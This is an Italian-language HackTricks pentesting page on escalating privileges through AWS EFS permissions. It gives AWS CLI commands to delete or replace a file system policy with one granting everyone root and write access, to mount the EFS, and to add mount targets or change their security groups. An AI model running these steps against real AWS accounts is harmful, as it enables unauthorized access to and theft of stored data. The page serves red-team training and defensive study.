AWS - EFS Privesc

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

EFS

Ulteriori info su EFS in:

AWS - EFS Enum

Ricorda che per montare un EFS devi essere in una sottorete in cui l'EFS è esposto e avere accesso ad esso (gruppi di sicurezza). Se ciò accade, per impostazione predefinita, sarai sempre in grado di montarlo, tuttavia, se è protetto da politiche IAM, devi avere le autorizzazioni aggiuntive menzionate qui per accedervi.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Con una di queste autorizzazioni un attaccante può cambiare la politica del file system per darti accesso ad esso, o semplicemente eliminarlo in modo che venga concesso il accesso predefinito.

Per eliminare la politica:

bash
aws efs delete-file-system-policy \
--file-system-id <value>

Per cambiarlo:

json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Con questo permesso, un attaccante sarà in grado di montare l'EFS. Se il permesso di scrittura non è concesso per impostazione predefinita a tutti coloro che possono montare l'EFS, avrà solo accesso in lettura.

bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

I permessi aggiuntivi elasticfilesystem:ClientRootAccess e elasticfilesystem:ClientWrite possono essere utilizzati per scrivere all'interno del filesystem dopo che è stato montato e per accedere a quel filesystem come root.

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nel filesystem.

elasticfilesystem:CreateMountTarget

Se un attaccante si trova in una sottorete dove non esiste alcun mount target dell'EFS. Potrebbe semplicemente crearne uno nella sua sottorete con questo privilegio:

bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nel file system.

elasticfilesystem:ModifyMountTargetSecurityGroups

In uno scenario in cui un attaccante scopre che l'EFS ha un target di montaggio nella sua sottorete ma nessun gruppo di sicurezza consente il traffico, potrebbe semplicemente cambiare ciò modificando i gruppi di sicurezza selezionati:

bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nel file system.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks